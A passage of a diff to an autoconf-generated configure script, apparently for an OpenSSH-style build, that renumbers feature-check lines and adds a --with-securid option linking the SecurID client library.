login in -lutil" >&5 + ac_lib_var=`echo util'_'login | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2501,7 +2503,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lutil $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2518: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2539,12 +2541,12 @@ + # We don't want to check if we did an pcre override. + if test -z "$no_comp_check" ; then + echo $ac_n "checking for regcomp""... $ac_c" 1>&6 +-echo "configure:2543: checking for regcomp" >&5 ++echo "configure:2545: checking for regcomp" >&5 + if eval "test \"`echo '$''{'ac_cv_func_regcomp'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2573: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_regcomp=yes" + else +@@ -2589,7 +2591,7 @@ + echo "$ac_t""no" 1>&6 + + echo $ac_n "checking for pcre_info in -lpcre""... $ac_c" 1>&6 +-echo "configure:2593: checking for pcre_info in -lpcre" >&5 ++echo "configure:2595: checking for pcre_info in -lpcre" >&5 + ac_lib_var=`echo pcre'_'pcre_info | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2597,7 +2599,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lpcre $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2614: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2644,12 +2646,12 @@ + fi + + echo $ac_n "checking for strcasecmp""... $ac_c" 1>&6 +-echo "configure:2648: checking for strcasecmp" >&5 ++echo "configure:2650: checking for strcasecmp" >&5 + if eval "test \"`echo '$''{'ac_cv_func_strcasecmp'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2678: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_strcasecmp=yes" + else +@@ -2690,7 +2692,7 @@ + else + echo "$ac_t""no" 1>&6 + echo $ac_n "checking for strcasecmp in -lresolv""... $ac_c" 1>&6 +-echo "configure:2694: checking for strcasecmp in -lresolv" >&5 ++echo "configure:2696: checking for strcasecmp in -lresolv" >&5 + ac_lib_var=`echo resolv'_'strcasecmp | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2698,7 +2700,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lresolv $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2715: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2733,12 +2735,12 @@ + fi + + echo $ac_n "checking for utimes""... $ac_c" 1>&6 +-echo "configure:2737: checking for utimes" >&5 ++echo "configure:2739: checking for utimes" >&5 + if eval "test \"`echo '$''{'ac_cv_func_utimes'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2767: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_utimes=yes" + else +@@ -2779,7 +2781,7 @@ + else + echo "$ac_t""no" 1>&6 + echo $ac_n "checking for utimes in -lc89""... $ac_c" 1>&6 +-echo "configure:2783: checking for utimes in -lc89" >&5 ++echo "configure:2785: checking for utimes in -lc89" >&5 + ac_lib_var=`echo c89'_'utimes | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2787,7 +2789,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lc89 $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2804: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2823,12 +2825,12 @@ + + + echo $ac_n "checking for strftime""... $ac_c" 1>&6 +-echo "configure:2827: checking for strftime" >&5 ++echo "configure:2829: checking for strftime" >&5 + if eval "test \"`echo '$''{'ac_cv_func_strftime'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2857: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_strftime=yes" + else +@@ -2873,7 +2875,7 @@ + echo "$ac_t""no" 1>&6 + # strftime is in -lintl on SCO UNIX. + echo $ac_n "checking for strftime in -lintl""... $ac_c" 1>&6 +-echo "configure:2877: checking for strftime in -lintl" >&5 ++echo "configure:2879: checking for strftime in -lintl" >&5 + ac_lib_var=`echo intl'_'strftime | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -2881,7 +2883,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lintl $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:2898: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -2924,17 +2926,17 @@ + do + ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` + echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +-echo "configure:2928: checking for $ac_hdr" >&5 ++echo "configure:2930: checking for $ac_hdr" >&5 + if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext < + EOF + ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +-{ (eval echo configure:2938: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } ++{ (eval echo configure:2940: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } + ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` + if test -z "$ac_err"; then + rm -rf conftest* +@@ -2963,9 +2965,9 @@ + + # Check for ALTDIRFUNC glob() extension + echo $ac_n "checking for GLOB_ALTDIRFUNC support""... $ac_c" 1>&6 +-echo "configure:2967: checking for GLOB_ALTDIRFUNC support" >&5 ++echo "configure:2969: checking for GLOB_ALTDIRFUNC support" >&5 + cat > conftest.$ac_ext < +@@ -2996,9 +2998,9 @@ + + # Check for g.gl_matchc glob() extension + echo $ac_n "checking for gl_matchc field in glob_t""... $ac_c" 1>&6 +-echo "configure:3000: checking for gl_matchc field in glob_t" >&5 ++echo "configure:3002: checking for gl_matchc field in glob_t" >&5 + cat > conftest.$ac_ext < +@@ -3026,12 +3028,12 @@ + + + echo $ac_n "checking whether struct dirent allocates space for d_name""... $ac_c" 1>&6 +-echo "configure:3030: checking whether struct dirent allocates space for d_name" >&5 ++echo "configure:3032: checking whether struct dirent allocates space for d_name" >&5 + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } + else + cat > conftest.$ac_ext < +@@ -3039,7 +3041,7 @@ + int main(void){struct dirent d;return(sizeof(d.d_name)<=sizeof(char));} + + EOF +-if { (eval echo configure:3043: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:3045: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + echo "$ac_t""yes" 1>&6 + else +@@ -3080,12 +3082,12 @@ + SKEY_MSG="yes" + + echo $ac_n "checking for skey_keyinfo""... $ac_c" 1>&6 +-echo "configure:3084: checking for skey_keyinfo" >&5 ++echo "configure:3086: checking for skey_keyinfo" >&5 + if eval "test \"`echo '$''{'ac_cv_func_skey_keyinfo'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3114: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_skey_keyinfo=yes" + else +@@ -3135,6 +3137,55 @@ + + fi + ++SECURID_MSG="no" ++# Check whether --with-securid or --without-securid was given. ++if test "${with_securid+set}" = set; then ++ withval="$with_securid" ++ ++ if test "x$withval" != "xno" ; then ++ saved_LIBS="$LIBS" ++ LIBS="$LIBS sdiclient.a" ++ echo $ac_n "checking for sdiclient.a""... $ac_c" 1>&6 ++echo "configure:3150: checking for sdiclient.a" >&5 ++ cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++ rm -rf conftest* ++ ++ echo "$ac_t""yes" 1>&6 ++ cat >> confdefs.h <<\EOF ++#define SECURID 1 ++EOF ++ ++ SECURID_MSG="yes" ++ ++else ++ echo "configure: failed program was:" >&5 ++ cat conftest.$ac_ext >&5 ++ rm -rf conftest* ++ ++ { echo "configure: error: *** sdiclient.a missing" 1>&2; exit 1; } ++ ++ ++fi ++rm -f conftest* ++ fi ++ ++ ++fi ++ + + # Check whether user wants TCP wrappers support + TCPW_MSG="no" +@@ -3146,9 +3197,9 @@ + saved_LIBS="$LIBS" + LIBS="-lwrap $LIBS" + echo $ac_n "checking for libwrap""... $ac_c" 1>&6 +-echo "configure:3150: checking for libwrap" >&5 ++echo "configure:3201: checking for libwrap" >&5 + cat > conftest.$ac_ext < +@@ -3158,7 +3209,7 @@ + hosts_access(0); + ; return 0; } + EOF +-if { (eval echo configure:3162: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3213: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + + echo "$ac_t""yes" 1>&6 +@@ -3187,12 +3238,12 @@ + for ac_func in arc4random atexit b64_ntop bcopy bindresvport_sa clock fchown fchmod freeaddrinfo futimes gai_strerror getcwd getaddrinfo getgrouplist getnameinfo getrlimit getrusage getttyent getusershell glob inet_aton inet_ntoa inet_ntop innetgr login_getcapbool md5_crypt memmove mkdtemp on_exit openpty realpath rresvport_af setdtablesize setenv setegid seteuid setlogin setproctitle setresgid setreuid setrlimit setsid sigaction sigvec snprintf strerror strlcat strlcpy strmode strsep strtok_r sysconf tcgetpgrp utimes vsnprintf vhangup vis waitpid _getpty __b64_ntop + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:3191: checking for $ac_func" >&5 ++echo "configure:3242: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3270: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -3242,12 +3293,12 @@ + for ac_func in gettimeofday time + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:3246: checking for $ac_func" >&5 ++echo "configure:3297: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3325: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -3298,17 +3349,17 @@ + do + ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` + echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +-echo "configure:3302: checking for $ac_hdr" >&5 ++echo "configure:3353: checking for $ac_hdr" >&5 + if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext < + EOF + ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +-{ (eval echo configure:3312: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } ++{ (eval echo configure:3363: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } + ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` + if test -z "$ac_err"; then + rm -rf conftest* +@@ -3337,12 +3388,12 @@ + for ac_func in login logout updwtmp logwtmp + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:3341: checking for $ac_func" >&5 ++echo "configure:3392: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3420: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -3392,12 +3443,12 @@ + for ac_func in endutent getutent getutid getutline pututline setutent + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:3396: checking for $ac_func" >&5 ++echo "configure:3447: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3475: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -3447,12 +3498,12 @@ + for ac_func in utmpname + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:3451: checking for $ac_func" >&5 ++echo "configure:3502: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3530: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -3502,12 +3553,12 @@ + for ac_func in endutxent getutxent getutxid getutxline pututxline + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:3506: checking for $ac_func" >&5 ++echo "configure:3557: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3585: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -3557,12 +3608,12 @@ + for ac_func in setutxent utmpxname + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:3561: checking for $ac_func" >&5 ++echo "configure:3612: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3640: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -3611,12 +3662,12 @@ + + + echo $ac_n "checking for getuserattr""... $ac_c" 1>&6 +-echo "configure:3615: checking for getuserattr" >&5 ++echo "configure:3666: checking for getuserattr" >&5 + if eval "test \"`echo '$''{'ac_cv_func_getuserattr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3694: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_getuserattr=yes" + else +@@ -3660,7 +3711,7 @@ + else + echo "$ac_t""no" 1>&6 + echo $ac_n "checking for getuserattr in -ls""... $ac_c" 1>&6 +-echo "configure:3664: checking for getuserattr in -ls" >&5 ++echo "configure:3715: checking for getuserattr in -ls" >&5 + ac_lib_var=`echo s'_'getuserattr | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -3668,7 +3719,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-ls $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3734: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -3707,12 +3758,12 @@ + + + echo $ac_n "checking for login""... $ac_c" 1>&6 +-echo "configure:3711: checking for login" >&5 ++echo "configure:3762: checking for login" >&5 + if eval "test \"`echo '$''{'ac_cv_func_login'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3790: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_login=yes" + else +@@ -3756,7 +3807,7 @@ + else + echo "$ac_t""no" 1>&6 + echo $ac_n "checking for login in -lbsd""... $ac_c" 1>&6 +-echo "configure:3760: checking for login in -lbsd" >&5 ++echo "configure:3811: checking for login in -lbsd" >&5 + ac_lib_var=`echo bsd'_'login | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -3764,7 +3815,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lbsd $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3830: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -3803,12 +3854,12 @@ + + + echo $ac_n "checking for daemon""... $ac_c" 1>&6 +-echo "configure:3807: checking for daemon" >&5 ++echo "configure:3858: checking for daemon" >&5 + if eval "test \"`echo '$''{'ac_cv_func_daemon'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3886: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_daemon=yes" + else +@@ -3852,7 +3903,7 @@ + else + echo "$ac_t""no" 1>&6 + echo $ac_n "checking for daemon in -lbsd""... $ac_c" 1>&6 +-echo "configure:3856: checking for daemon in -lbsd" >&5 ++echo "configure:3907: checking for daemon in -lbsd" >&5 + ac_lib_var=`echo bsd'_'daemon | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -3860,7 +3911,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lbsd $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3926: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -3899,12 +3950,12 @@ + + + echo $ac_n "checking for getpagesize""... $ac_c" 1>&6 +-echo "configure:3903: checking for getpagesize" >&5 ++echo "configure:3954: checking for getpagesize" >&5 + if eval "test \"`echo '$''{'ac_cv_func_getpagesize'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:3982: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_getpagesize=yes" + else +@@ -3948,7 +3999,7 @@ + else + echo "$ac_t""no" 1>&6 + echo $ac_n "checking for getpagesize in -lucb""... $ac_c" 1>&6 +-echo "configure:3952: checking for getpagesize in -lucb" >&5 ++echo "configure:4003: checking for getpagesize in -lucb" >&5 + ac_lib_var=`echo ucb'_'getpagesize | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -3956,7 +4007,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lucb $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:4022: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -3997,19 +4048,19 @@ + # Check for broken snprintf + if test "x$ac_cv_func_snprintf" = "xyes" ; then + echo $ac_n "checking whether snprintf correctly terminates long strings""... $ac_c" 1>&6 +-echo "configure:4001: checking whether snprintf correctly terminates long strings" >&5 ++echo "configure:4052: checking whether snprintf correctly terminates long strings" >&5 + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } + else + cat > conftest.$ac_ext < + int main(void){char b[5];snprintf(b,5,"123456789");return(b[4]!='\0');} + + EOF +-if { (eval echo configure:4013: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:4064: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + echo "$ac_t""yes" 1>&6 + else +@@ -4032,7 +4083,7 @@ + fi + + echo $ac_n "checking whether getpgrp takes no argument""... $ac_c" 1>&6 +-echo "configure:4036: checking whether getpgrp takes no argument" >&5 ++echo "configure:4087: checking whether getpgrp takes no argument" >&5 + if eval "test \"`echo '$''{'ac_cv_func_getpgrp_void'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -4040,7 +4091,7 @@ + { echo "configure: error: cannot check getpgrp if cross compiling" 1>&2; exit 1; } + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:4150: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + ac_cv_func_getpgrp_void=yes + else +@@ -4131,7 +4182,7 @@ + fi + + echo $ac_n "checking for dlopen in -ldl""... $ac_c" 1>&6 +-echo "configure:4135: checking for dlopen in -ldl" >&5 ++echo "configure:4186: checking for dlopen in -ldl" >&5 + ac_lib_var=`echo dl'_'dlopen | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -4139,7 +4190,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-ldl $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:4205: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -4178,7 +4229,7 @@ + fi + + echo $ac_n "checking for pam_set_item in -lpam""... $ac_c" 1>&6 +-echo "configure:4182: checking for pam_set_item in -lpam" >&5 ++echo "configure:4233: checking for pam_set_item in -lpam" >&5 + ac_lib_var=`echo pam'_'pam_set_item | sed 'y%./+-%__p_%'` + if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +@@ -4186,7 +4237,7 @@ + ac_save_LIBS="$LIBS" + LIBS="-lpam $LIBS" + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:4252: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" + else +@@ -4228,12 +4279,12 @@ + for ac_func in pam_getenvlist + do + echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +-echo "configure:4232: checking for $ac_func" >&5 ++echo "configure:4283: checking for $ac_func" >&5 + if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then ++if { (eval echo configure:4311: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" + else +@@ -4298,9 +4349,9 @@ + if test "x$PAM_MSG" = "xyes" ; then + # Check PAM strerror arguments (old PAM) + echo $ac_n "checking whether pam_strerror takes only one argument""... $ac_c" 1>&6 +-echo "configure:4302: checking whether pam_strerror takes only one argument" >&5 ++echo "configure:4353: checking whether pam_strerror takes only one argument" >&5 + cat > conftest.$ac_ext < +@@ -4310,7 +4361,7 @@ + (void)pam_strerror((pam_handle_t *)NULL, -1); + ; return 0; } + EOF +-if { (eval echo configure:4314: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then ++if { (eval echo configure:4365: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""no" 1>&6 + else +@@ -4350,7 +4401,7 @@ + tryssldir="$tryssldir $prefix" + fi + echo $ac_n "checking for OpenSSL directory""... $ac_c" 1>&6 +-echo "configure:4354: checking for OpenSSL directory" >&5 ++echo "configure:4405: checking for OpenSSL directory" >&5 + if eval "test \"`echo '$''{'ac_cv_openssldir'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 + else +@@ -4393,7 +4444,7 @@ + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } + else + cat > conftest.$ac_ext < +@@ -4407,7 +4458,7 @@ + } + + EOF +-if { (eval echo configure:4411: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null ++if { (eval echo configure:4462: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null + then + + found_crypto=1 +@@ -4476,7 +4527,7 @@ + # Now test RSA support + saved_LIBS="$LIBS" + echo $ac_n "checking for RSA support""... $ac_c" 1>&6 +-echo "configure:4480: checking for RSA support" >&5 ++echo "configure:4531: checking for RSA support" >&5 + for WANTS_RSAREF in "" 1 ; do + if test -z "$WANTS_RSAREF" ; then + LIBS="$saved_LIBS" +@@ -4487,7 +4538,7 @@ + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } + else + cat > conftest.$ac_ext < +@@ -4506,7 +4557,7 @@ + } + + EOF +-if { (eval echo configure:4510: \"$ac_link\") 